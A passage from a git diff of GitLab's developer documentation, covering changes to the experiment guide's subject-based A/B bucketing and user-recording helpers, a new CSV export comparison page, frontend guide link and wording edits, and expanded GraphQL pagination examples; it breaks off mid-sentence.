79ea80a52ea..24e83ffc524 100644 --- a/doc/development/event_tracking/backend.md +++ b/doc/development/event_tracking/backend.md @@ -3,3 +3,6 @@ redirect_to: '../product_analytics/index.md' --- This document was moved to [another location](../product_analytics/index.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/development/event_tracking/frontend.md b/doc/development/event_tracking/frontend.md index 79ea80a52ea..24e83ffc524 100644 --- a/doc/development/event_tracking/frontend.md +++ b/doc/development/event_tracking/frontend.md @@ -3,3 +3,6 @@ redirect_to: '../product_analytics/index.md' --- This document was moved to [another location](../product_analytics/index.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/development/event_tracking/index.md b/doc/development/event_tracking/index.md index 79ea80a52ea..24e83ffc524 100644 --- a/doc/development/event_tracking/index.md +++ b/doc/development/event_tracking/index.md @@ -3,3 +3,6 @@ redirect_to: '../product_analytics/index.md' --- This document was moved to [another location](../product_analytics/index.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/development/experiment_guide/index.md b/doc/development/experiment_guide/index.md index 3b2f1d21463..35cd55b199c 100644 --- a/doc/development/experiment_guide/index.md +++ b/doc/development/experiment_guide/index.md @@ -1,22 +1,22 @@ --- stage: Growth group: Activation -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Experiment Guide -Experiments can be conducted by any GitLab team, most often the teams from the [Growth Sub-department](https://about.gitlab.com/handbook/engineering/development/growth/). Experiments are not tied to releases because they will primarily target GitLab.com. +Experiments can be conducted by any GitLab team, most often the teams from the [Growth Sub-department](https://about.gitlab.com/handbook/engineering/development/growth/). Experiments are not tied to releases because they primarily target GitLab.com. -Experiments will be run as an A/B test and will be behind a feature flag to turn the test on or off. Based on the data the experiment generates, the team will decide if the experiment had a positive impact and will be the new default or rolled back. +Experiments are run as an A/B test and are behind a feature flag to turn the test on or off. Based on the data the experiment generates, the team decides if the experiment had a positive impact and should be made the new default or rolled back. ## Experiment tracking issue Each experiment should have an [Experiment tracking](https://gitlab.com/groups/gitlab-org/-/issues?scope=all&utf8=%E2%9C%93&state=opened&label_name[]=growth%20experiment&search=%22Experiment+tracking%22) issue to track the experiment from roll-out through to cleanup/removal. Immediately after an experiment is deployed, the due date of the issue should be set (this depends on the experiment but can be up to a few weeks in the future). After the deadline, the issue needs to be resolved and either: -- It was successful and the experiment will be the new default. -- It was not successful and all code related to the experiment will be removed. +- It was successful and the experiment becomes the new default. +- It was not successful and all code related to the experiment is removed. In either case, an outcome of the experiment should be posted to the issue with the reasoning for the decision. @@ -25,7 +25,7 @@ In either case, an outcome of the experiment should be posted to the issue with Experiments' code quality can fail our standards for several reasons. These reasons can include not being added to the codebase for a long time, or because of fast iteration to retrieve data. However, having the experiment run (or not -run) shouldn't impact GitLab's availability. To avoid or identify issues, +run) shouldn't impact GitLab availability. To avoid or identify issues, experiments are initially deployed to a small number of users. Regardless, experiments still need tests. @@ -49,7 +49,6 @@ addressed. }, # Add your experiment here: signup_flow: { - environment: ::Gitlab.dev_env_or_com?, # Target environment, defaults to enabled for development and GitLab.com tracking_category: 'Growth::Activation::Experiment::SignUpFlow' # Used for providing the category when setting up tracking data } }.freeze @@ -57,59 +56,90 @@ addressed. 1. Use the experiment in the code. + Experiments can be performed on a `subject`. The `subject` that gets provided needs to respond to `to_global_id` or `to_s`. + The resulting string is bucketed and assigned to either the control or the experimental group. It's therefore necessary to always provide the same `subject` for an experiment to have the same experience. + - Use this standard for the experiment in a controller: - ```ruby - class RegistrationController < ApplicationController + Experiment run for a user: + + ```ruby + class ProjectController < ApplicationController def show # experiment_enabled?(:experiment_key) is also available in views and helpers + if experiment_enabled?(:signup_flow, subject: current_user) + # render the experiment + else + # render the original version + end + end + end + ``` + + or experiment run for a namespace: + + ```ruby + if experiment_enabled?(:signup_flow, subject: namespace) + # experiment code + else + # control code + end + ``` + + When no subject is given, it falls back to a cookie that gets set and is consistent until + the cookie gets deleted. + + ```ruby + class RegistrationController < ApplicationController + def show + # falls back to a cookie if experiment_enabled?(:signup_flow) # render the experiment else # render the original version end end - end - ``` + end + ``` - Make the experiment available to the frontend in a controller: - ```ruby - before_action do - push_frontend_experiment(:signup_flow) - end - ``` + ```ruby + before_action do + push_frontend_experiment(:signup_flow, subject: current_user) + end + ``` - The above will check whether the experiment is enabled and push the result to the frontend. + The above checks whether the experiment is enabled and pushes the result to the frontend. - You can check the state of the feature flag in JavaScript: + You can check the state of the feature flag in JavaScript: - ```javascript - import { isExperimentEnabled } from '~/experimentation'; + ```javascript + import { isExperimentEnabled } from '~/experimentation'; - if ( isExperimentEnabled('signupFlow') ) { - // ... - } - ``` + if ( isExperimentEnabled('signupFlow') ) { + // ... + } + ``` - It is also possible to run an experiment outside of the controller scope, for example in a worker: - ```ruby - class SomeWorker - def perform - # Check if the experiment is enabled at all (the percentage_of_time_value > 0) - return unless Gitlab::Experimentation.enabled?(:experiment_key) - - # Since we cannot access cookies in a worker, we need to bucket models based on a unique, unchanging attribute instead. - # Use the following method to check if the experiment is enabled for a certain attribute, for example a username or email address: - if Gitlab::Experimentation.enabled_for_attribute?(:experiment_key, some_attribute) - # execute experimental code - else - # execute control code - end - end - end - ``` + ```ruby + class SomeWorker + def perform + # Check if the experiment is active at all (the percentage_of_time_value > 0) + return unless Gitlab::Experimentation.active?(:experiment_key) + + # Since we cannot access cookies in a worker, we need to bucket models based on a unique, unchanging attribute instead. + # It is therefore necessery to always provide the same subject. + if Gitlab::Experimentation.in_experiment_group?(:experiment_key, subject: user) + # execute experimental code + else + # execute control code + end + end + end + ``` ### Implement the tracking events @@ -123,7 +153,7 @@ The framework provides the following helper method that is available in controll ```ruby before_action do - track_experiment_event(:signup_flow, 'action', 'value') + track_experiment_event(:signup_flow, 'action', 'value', subject: current_user) end ``` @@ -133,7 +163,7 @@ Which can be tested as follows: context 'when the experiment is active and the user is in the experimental group' do before do stub_experiment(signup_flow: true) - stub_experiment_for_user(signup_flow: true) + stub_experiment_for_subject(signup_flow: true) end it 'tracks an event', :snowplow do @@ -156,8 +186,8 @@ The framework provides the following helper method that is available in controll ```ruby before_action do - push_frontend_experiment(:signup_flow) - frontend_experimentation_tracking_data(:signup_flow, 'action', 'value') + push_frontend_experiment(:signup_flow, subject: current_user) + frontend_experimentation_tracking_data(:signup_flow, 'action', 'value', subject: current_user) end ``` @@ -233,6 +263,50 @@ describe('event tracking', () => { }); ``` +### Record experiment user + +In addition to the anonymous tracking of events, we can also record which users have participated in which experiments and whether they were given the control experience or the experimental experience. + +The `record_experiment_user` helper method is available to all controllers, and it enables you to record these experiment participants (the current user) and which experience they were given: + +```ruby +before_action do + record_experiment_user(:signup_flow) +end +``` + +Subsequent calls to this method for the same experiment and the same user have no effect unless the user has gets enrolled into a different experience. This happens when we roll out the experimental experience to a greater percentage of users. + +Note that this data is completely separate from the [events tracking data](#implement-the-tracking-events). They are not linked together in any way. + +#### Add context + +You can add arbitrary context data in a hash which gets stored as part of the experiment user record. +This data can then be used by data analytics dashboards. + +```ruby +before_action do + record_experiment_user(:signup_flow, foo: 42) +end +``` + +### Record experiment conversion event + +Along with the tracking of backend and frontend events and the [recording of experiment participants](#record-experiment-user), we can also record when a user performs the desired conversion event action. For example: + +- **Experimental experience:** Show an in-product nudge to see if it causes more people to sign up for trials. +- **Conversion event:** The user starts a trial. + +The `record_experiment_conversion_event` helper method is available to all controllers. It enables us to record the conversion event for the current user, regardless of whether they are in the control or experimental group: + +```ruby +before_action do + record_experiment_conversion_event(:signup_flow) +end +``` + +Note that the use of this method requires that we have first [recorded the user as being part of the experiment](#record-experiment-user). + ### Enable the experiment After all merge requests have been merged, use [`chatops`](../../ci/chatops/README.md) in the @@ -250,6 +324,19 @@ For visibility, please also share any commands run against production in the `#s /chatops run feature delete signup_flow_experiment_percentage ``` +### Manually force the current user to be in the experiment group + +You may force the application to put your current user in the experiment group. To do so +add a query string parameter to the path where the experiment runs. If you do so, +the experiment will work only for this request and won't work after following links or submitting forms. + +For example, to forcibly enable the `EXPERIMENT_KEY` experiment, add `force_experiment=EXPERIMENT_KEY` +to the URL: + +```shell +https://gitlab.com/<EXPERIMENT_ENTRY_URL>?force_experiment=<EXPERIMENT_KEY> +``` + ### Testing and test helpers #### RSpec @@ -264,7 +351,7 @@ context 'when the experiment is active' do context 'when the user is in the experimental group' do before do - stub_experiment_for_user(signup_flow: true) + stub_experiment_for_subject(signup_flow: true) end it { is_expected.to do_experimental_thing } @@ -272,7 +359,7 @@ context 'when the experiment is active' do context 'when the user is in the control group' do before do - stub_experiment_for_user(signup_flow: false) + stub_experiment_for_subject(signup_flow: false) end it { is_expected.to do_control_thing } diff --git a/doc/development/export_csv.md b/doc/development/export_csv.md new file mode 100644 index 00000000000..99b6062736d --- /dev/null +++ b/doc/development/export_csv.md @@ -0,0 +1,21 @@ +--- +stage: Manage +group: Import +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +--- + +# Export to CSV + +This document lists the different implementations of CSV export in GitLab codebase. + +| Export type | How it works | Advantages | Disadvantages | Existing examples | +|---|---|---|---|---| +| Streaming | - Query and yield data in batches to a response stream.<br>- Download starts immediately. | - Report available immediately. | - No progress indicator.<br>- Requires a reliable connection. | [Export Audit Event Log](../administration/audit_events.md#export-to-csv) | +| Downloading | - Query and write data in batches to a temporary file.<br>- Loads the file into memory.<br>- Sends the file to the client. | - Report available immediately. | - Large amount of data might cause request timeout.<br>- Memory intensive.<br>- Request expires when user navigates to a different page. | [Export Chain of Custody Report](../user/compliance/compliance_dashboard/#chain-of-custody-report) | +| As email attachment | - Asynchronously process the query with background job.<br>- Email uses the export as an attachment. | - Asynchronous processing. | - Requires users use a different app (email) to download the CSV.<br>- Email providers may limit attachment size. | - [Export Issues](../user/project/issues/csv_export.md)<br>- [Export Merge Requests](../user/project/merge_requests/csv_export.md) | +| As downloadable link in email (*) | - Asynchronously process the query with background job.<br>- Email uses an export link. | - Asynchronous processing.<br>- Bypasses email provider attachment size limit. | - Requires users use a different app (email).<br>- Requires additional storage and cleanup. | [Export User Permissions](https://gitlab.com/gitlab-org/gitlab/-/issues/1772) | +| Polling (non-persistent state) | - Asynchronously processes the query with the background job.<br>- Frontend(FE) polls every few seconds to check if CSV file is ready. | - Asynchronous processing.<br>- Automatically downloads to local machine on completion.<br>- In-app solution. | - Non-persistable request - request expires when user navigates to a different page.<br>- API is processed for each polling request. | [Export Vulnerabilities](../user/application_security/security_dashboard/#export-vulnerabilities) | +| Polling (persistent state) (*) | - Asynchronously processes the query with background job.<br>- Backend (BE) maintains the export state<br>- FE polls every few seconds to check status.<br>- FE shows 'Download link' when export is ready.<br>- User can download or regenerate a new report. | - Asynchronous processing.<br>- No database calls made during the polling requests (HTTP 304 status is returned until export status changes).<br>- Does not require user to stay on page until export is complete.<br>- In-app solution.<br>- Can be expanded into a generic CSV feature (such as dashboard / CSV API). | - Requires to maintain export states in DB.<br>- Does not automatically download the CSV export to local machine, requires users to click 'Download' button. | [Export Merge Commits Report](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/43055) | + +NOTE: +Export types marked as * are currently work in progress. diff --git a/doc/development/fe_guide/accessibility.md b/doc/development/fe_guide/accessibility.md index 8cb61019556..92730e8139f 100644 --- a/doc/development/fe_guide/accessibility.md +++ b/doc/development/fe_guide/accessibility.md @@ -1,7 +1,7 @@ --- stage: none group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Accessibility & Readability diff --git a/doc/development/fe_guide/architecture.md b/doc/development/fe_guide/architecture.md index 4b45fb97c76..964837dc5f7 100644 --- a/doc/development/fe_guide/architecture.md +++ b/doc/development/fe_guide/architecture.md @@ -1,7 +1,7 @@ --- stage: none group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Architecture diff --git a/doc/development/fe_guide/axios.md b/doc/development/fe_guide/axios.md index 856b03e4b47..cf5a4970c04 100644 --- a/doc/development/fe_guide/axios.md +++ b/doc/development/fe_guide/axios.md @@ -1,7 +1,7 @@ --- stage: none group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Axios diff --git a/doc/development/fe_guide/dependencies.md b/doc/development/fe_guide/dependencies.md index bbe4cdc285d..0ec10399ae0 100644 --- a/doc/development/fe_guide/dependencies.md +++ b/doc/development/fe_guide/dependencies.md @@ -1,7 +1,7 @@ --- stage: none group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Frontend dependencies @@ -32,7 +32,7 @@ updated using renovate are: We discourage installing some dependencies in [GitLab repository](https://gitlab.com/gitlab-org/gitlab) because they can create conflicts in the dependency tree. Blocked dependencies are declared in the -`blockDependencies` property of GitLab’s [`package.json` file](https://gitlab.com/gitlab-org/gitlab/-/blob/master/package.json). +`blockDependencies` property of the GitLab [`package.json` file](https://gitlab.com/gitlab-org/gitlab/-/blob/master/package.json). ## Dependency notes diff --git a/doc/development/fe_guide/design_patterns.md b/doc/development/fe_guide/design_patterns.md index ed4d91f34bd..784612682f8 100644 --- a/doc/development/fe_guide/design_patterns.md +++ b/doc/development/fe_guide/design_patterns.md @@ -1,7 +1,7 @@ --- stage: none group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Design Patterns diff --git a/doc/development/fe_guide/development_process.md b/doc/development/fe_guide/development_process.md index 915dab06ac2..d122459f51c 100644 --- a/doc/development/fe_guide/development_process.md +++ b/doc/development/fe_guide/development_process.md @@ -1,7 +1,7 @@ --- stage: none group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Frontend Development Process @@ -85,7 +85,7 @@ With the purpose of being [respectful of others' time](https://about.gitlab.com/ ### Share your work early 1. Before writing code, ensure your vision of the architecture is aligned with - GitLab's architecture. + GitLab architecture. 1. Add a diagram to the issue and ask a frontend maintainer in the Slack channel `#frontend_maintainers` about it.  diff --git a/doc/development/fe_guide/droplab/droplab.md b/doc/development/fe_guide/droplab/droplab.md index fe0f07b3019..8f1ecc115fe 100644 --- a/doc/development/fe_guide/droplab/droplab.md +++ b/doc/development/fe_guide/droplab/droplab.md @@ -1,7 +1,7 @@ --- stage: none group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # DropLab @@ -22,7 +22,7 @@ The value is irrelevant. The DropLab class has no side effects, so you must always call `.init` when the DOM is ready. `DropLab.prototype.init` takes the same arguments as `DropLab.prototype.addHook`. -If you don't provide any arguments, it will globally query and instantiate all +If you don't provide any arguments, it globally queries and instantiates all DropLab-compatible dropdowns. ```html @@ -103,7 +103,7 @@ droplab.addHook(trigger, list); ### Dynamic data -Adding `data-dynamic` to your dropdown element will enable dynamic list +Adding `data-dynamic` to your dropdown element enables dynamic list rendering. You can template a list item using the keys of the data object provided. Use the @@ -111,7 +111,7 @@ handlebars syntax `{{ value }}` to HTML escape the value. Use the `<%= value %>` syntax to interpolate the value. Use the `<%= value %>` syntax to evaluate the value. -Passing an array of objects to `DropLab.prototype.addData` will render that data +Passing an array of objects to `DropLab.prototype.addData` renders that data for all `data-dynamic` dropdown lists tracked by that DropLab instance. ```html @@ -227,14 +227,14 @@ provides some potentially useful data. Plugins are objects that are registered to be executed when a hook is added (when a DropLab trigger and dropdown are instantiated). -If no modules API is detected, the library will fall back as it does with -`window.DropLab` and will add `window.DropLab.plugins.PluginName`. +If no modules API is detected, the library falls back as it does with +`window.DropLab` and adds `window.DropLab.plugins.PluginName`. ### Usage To use plugins, you can pass them in an array as the third argument of `DropLab.prototype.init` or `DropLab.prototype.addHook`. Some plugins require -configuration values; the config object can be passed as the fourth argument. +configuration values; the configuration object can be passed as the fourth argument. ```html <a href="#" id="trigger" data-dropdown-trigger="#list">Toggle</a> diff --git a/doc/development/fe_guide/droplab/plugins/ajax.md b/doc/development/fe_guide/droplab/plugins/ajax.md index 3ac876ad062..f12f8f260c7 100644 --- a/doc/development/fe_guide/droplab/plugins/ajax.md +++ b/doc/development/fe_guide/droplab/plugins/ajax.md @@ -1,7 +1,7 @@ --- stage: none group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Ajax plugin diff --git a/doc/development/fe_guide/droplab/plugins/filter.md b/doc/development/fe_guide/droplab/plugins/filter.md index 9ab4946d21d..79f10cdb6c1 100644 --- a/doc/development/fe_guide/droplab/plugins/filter.md +++ b/doc/development/fe_guide/droplab/plugins/filter.md @@ -1,7 +1,7 @@ --- stage: none group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Filter plugin @@ -49,7 +49,7 @@ droplab.addData('trigger', [{ In the previous code, the input string is compared against the `test` key of the passed data objects. -Optionally you can set `filterFunction` to a function. This function will be +Optionally you can set `filterFunction` to a function. This function is then used instead of `Filter`'s built-in string search. `filterFunction` is passed two arguments: the first is one of the data objects, and the second is the current input value. diff --git a/doc/development/fe_guide/droplab/plugins/index.md b/doc/development/fe_guide/droplab/plugins/index.md index d44670bfb3c..c7a2865ca83 100644 --- a/doc/development/fe_guide/droplab/plugins/index.md +++ b/doc/development/fe_guide/droplab/plugins/index.md @@ -1,7 +1,7 @@ --- stage: none group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments description: A list of DropLab plugins. --- diff --git a/doc/development/fe_guide/droplab/plugins/input_setter.md b/doc/development/fe_guide/droplab/plugins/input_setter.md index ab8a5cebd08..a3c073520cb 100644 --- a/doc/development/fe_guide/droplab/plugins/input_setter.md +++ b/doc/development/fe_guide/droplab/plugins/input_setter.md @@ -1,7 +1,7 @@ --- stage: none group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # InputSetter plugin @@ -67,6 +67,6 @@ element's `data-selected-id` to `1`. Optionally, you can set `inputAttribute` to a string that's the name of an attribute on your `input` element that you want to update. If you don't provide -an `inputAttribute`, `InputSetter` will update the `value` of the `input` +an `inputAttribute`, `InputSetter` updates the `value` of the `input` element if it's an `INPUT` element, or the `textContent` of the `input` element if it isn't an `INPUT` element. diff --git a/doc/development/fe_guide/editor_lite.md b/doc/development/fe_guide/editor_lite.md index eb5852d258d..465d64ff63c 100644 --- a/doc/development/fe_guide/editor_lite.md +++ b/doc/development/fe_guide/editor_lite.md @@ -1,7 +1,7 @@ --- -stage: none -group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +stage: Create +group: Editor +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Editor Lite @@ -58,7 +58,7 @@ The editor follows the same public API as [provided by Monaco editor](https://mi | Function | Arguments | Description | ----- | ----- | ----- | | `updateModelLanguage` | `path`: String | Updates the instance's syntax highlighting to follow the extension of the passed `path`. Available only on _instance_ level| -| `use` | Array of objects | Array of **extensions** to apply to the instance. Accepts only the array of _objects_, which means that the extensions' ES6 modules should be fetched and resolved in your views/components before being passed to `use`. This prop is available on _instance_ (applies extension to this particular instance) and _global edtor_ (applies the same extension to all instances) levels. | +| `use` | Array of objects | Array of **extensions** to apply to the instance. Accepts only the array of _objects_, which means that the extensions' ES6 modules should be fetched and resolved in your views/components before being passed to `use`. This prop is available on _instance_ (applies extension to this particular instance) and _global editor_ (applies the same extension to all instances) levels. | | Monaco Editor options | See [documentation](https://microsoft.github.io/monaco-editor/api/interfaces/monaco.editor.istandalonecodeeditor.html) | Default Monaco editor options | ## Tips @@ -68,7 +68,7 @@ The editor follows the same public API as [provided by Monaco editor](https://mi Editor Lite comes with the loading state built-in, making spinners and loaders rarely needed in HTML. To benefit the built-in loading state, set the `data-editor-loading` property on the HTML element that is supposed to contain the editor. Editor Lite will show the loader automatically while it's bootstrapping.  -1. Update syntax highlighting if the file name changes. +1. Update syntax highlighting if the filename changes. ```javascript // fileNameEl here is the HTML input element that contains the file name diff --git a/doc/development/fe_guide/emojis.md b/doc/development/fe_guide/emojis.md index 9b1abaa14ae..7151e2ffeee 100644 --- a/doc/development/fe_guide/emojis.md +++ b/doc/development/fe_guide/emojis.md @@ -1,7 +1,7 @@ --- stage: none group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Emojis diff --git a/doc/development/fe_guide/event_tracking.md b/doc/development/fe_guide/event_tracking.md index 79ea80a52ea..24e83ffc524 100644 --- a/doc/development/fe_guide/event_tracking.md +++ b/doc/development/fe_guide/event_tracking.md @@ -3,3 +3,6 @@ redirect_to: '../product_analytics/index.md' --- This document was moved to [another location](../product_analytics/index.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/development/fe_guide/frontend_faq.md b/doc/development/fe_guide/frontend_faq.md index 22a48c8f9f9..9612f604b56 100644 --- a/doc/development/fe_guide/frontend_faq.md +++ b/doc/development/fe_guide/frontend_faq.md @@ -1,7 +1,7 @@ --- stage: none group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Frontend FAQ @@ -82,13 +82,13 @@ follow up issue and attach it to the component implementation epic found within ### 4. My submit form button becomes disabled after submitting -If you are using a submit button inside a form and you attach an `onSubmit` event listener on the form element, [this piece of code](https://gitlab.com/gitlab-org/gitlab/blob/794c247a910e2759ce9b401356432a38a4535d49/app/assets/javascripts/main.js#L225) will add a `disabled` class selector to the submit button when the form is submitted. +If you are using a submit button inside a form and you attach an `onSubmit` event listener on the form element, [this piece of code](https://gitlab.com/gitlab-org/gitlab/blob/794c247a910e2759ce9b401356432a38a4535d49/app/assets/javascripts/main.js#L225) adds a `disabled` class selector to the submit button when the form is submitted. To avoid this behavior, add the class `js-no-auto-disable` to the button. ### 5. Should I use a full URL (i.e. `gon.gitlab_url`) or a full path (i.e. `gon.relative_url_root`) when referencing backend endpoints? -It's preferred to use a **full path** over a **full URL** because the URL will use the hostname configured with -GitLab which may not match the request. This will cause [CORS issues like this Web IDE one](https://gitlab.com/gitlab-org/gitlab/-/issues/36810). +It's preferred to use a **full path** over a **full URL** because the URL uses the hostname configured with +GitLab which may not match the request. This causes [CORS issues like this Web IDE one](https://gitlab.com/gitlab-org/gitlab/-/issues/36810). Example: @@ -161,8 +161,9 @@ Sometimes it's necessary to test locally what the frontend production build woul 1. Open `gitlab.yaml` located in your `gitlab` installation folder, scroll down to the `webpack` section and change `dev_server` to `enabled: false`. 1. Run `yarn webpack-prod && gdk restart rails-web`. -The production build takes a few minutes to be completed; any code change at this point will be +The production build takes a few minutes to be completed; any code changes at this point are displayed only after executing the item 3 above again. + To return to the normal development mode: 1. Open `gitlab.yaml` located in your `gitlab` installation folder, scroll down to the `webpack` section and change back `dev_server` to `enabled: true`. @@ -181,7 +182,7 @@ we're using that our target browsers don't support. You don't need to add `core- polyfills manually. GitLab adds non-`core-js` polyfills for extending browser features (such as -GitLab's SVG polyfill), which allow us to reference SVGs by using `<use xlink:href>`. +the GitLab SVG polyfill), which allow us to reference SVGs by using `<use xlink:href>`. Be sure to add these polyfills to `app/assets/javascripts/commons/polyfills.js`. To see what polyfills are being used: diff --git a/doc/development/fe_guide/graphql.md b/doc/development/fe_guide/graphql.md index cae2435e4ff..b1896863af9 100644 --- a/doc/development/fe_guide/graphql.md +++ b/doc/development/fe_guide/graphql.md @@ -143,7 +143,7 @@ More about fragments: ## Global IDs -GitLab's GraphQL API expresses `id` fields as Global IDs rather than the PostgreSQL +The GitLab GraphQL API expresses `id` fields as Global IDs rather than the PostgreSQL primary key `id`. Global ID is [a convention](https://graphql.org/learn/global-object-identification/) used for caching and fetching in client-side libraries. @@ -187,7 +187,7 @@ As shown in the code example by using `produce`, we can perform any kind of dire `draftState`. Besides, `immer` guarantees that a new state which includes the changes to `draftState` will be generated. Finally, to verify whether the immutable cache update is working properly, we need to change -`assumeImmutableResults` to `true` in the `default client config` (see [Apollo Client](#apollo-client) for more info). +`assumeImmutableResults` to `true` in the default client configuration (see [Apollo Client](#apollo-client) for more information). If everything is working properly `assumeImmutableResults` should remain set to `true`. @@ -411,7 +411,7 @@ handleClick() { ### Working with pagination -GitLab's GraphQL API uses [Relay-style cursor pagination](https://www.apollographql.com/docs/react/data/pagination/#cursor-based) +The GitLab GraphQL API uses [Relay-style cursor pagination](https://www.apollographql.com/docs/react/pagination/overview/#cursor-based) for connection types. This means a "cursor" is used to keep track of where in the data set the next items should be fetched from. [GraphQL Ruby Connection Concepts](https://graphql-ruby.org/pagination/connection_concepts.html) is a good overview and introduction to connections. @@ -439,9 +439,11 @@ parameter, indicating a starting or ending point of our pagination. They should followed with `first` or `last` parameter respectively to indicate _how many_ items we want to fetch after or before a given endpoint. -For example, here we're fetching 10 designs after a cursor: +For example, here we're fetching 10 designs after a cursor (let us call this `projectQuery`): ```javascript +#import "~/graphql_shared/fragments/pageInfo.fragment.graphql" + query { project(fullPath: "root/my-project") { id @@ -453,6 +455,9 @@ query { id } } + pageInfo { + ...PageInfo + } } } } @@ -460,21 +465,31 @@ query { } ``` +Note that we are using the [`pageInfo.fragment.graphql`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/app/assets/javascripts/graphql_shared/fragments/pageInfo.fragment.graphql) to populate the `pageInfo` information. + #### Using `fetchMore` method in components +This approach makes sense to use with user-handled pagination (e.g. when the scrolls to fetch more data or explicitly clicks a "Next Page"-button). +When we need to fetch all the data initially, it is recommended to use [a (non-smart) query, instead](#using-a-recursive-query-in-components). + When making an initial fetch, we usually want to start a pagination from the beginning. In this case, we can either: - Skip passing a cursor. - Pass `null` explicitly to `after`. -After data is fetched, we should save a `pageInfo` object. Let's assume we're storing -it to Vue component `data`: +After data is fetched, we can use the `update`-hook as an opportunity [to customize +the data that is set in the Vue component property](https://apollo.vuejs.org/api/smart-query.html#options), getting a hold of the `pageInfo` object among other data. + +In the `result`-hook, we can inspect the `pageInfo` object to see if we need to fetch +the next page. Note that we also keep a `requestCount` to ensure that the application +does not keep requesting the next page, indefinitely: ```javascript data() { return { pageInfo: null, + requestCount: 0, } }, apollo: { @@ -482,13 +497,29 @@ apollo: { query: projectQuery, variables() { return { - // rest of design variables - ... + // ... The rest of the design variables first: 10, }; }, - result(res) { - this.pageInfo = res.data?.project?.issue?.designCollection?.designs?.pageInfo; + update(data) { + const { id = null, issue = {} } = data.project || {}; + const { edges = [], pageInfo } = issue.designCollection?.designs || {}; + + return { + id, + edges, + pageInfo, + }; + }, + result() { + const { pageInfo } = this.designs; + + // Increment the request count with each new result + this.requestCount += 1; + // Only fetch next page if we have more requests and there is a next page to fetch + if (this.requestCount < MAX_REQUEST_COUNT && pageInfo?.hasNextPage) { + this.fetchNextPage(pageInfo.endCursor); + } }, }, }, @@ -497,34 +528,154 @@ apollo: { When 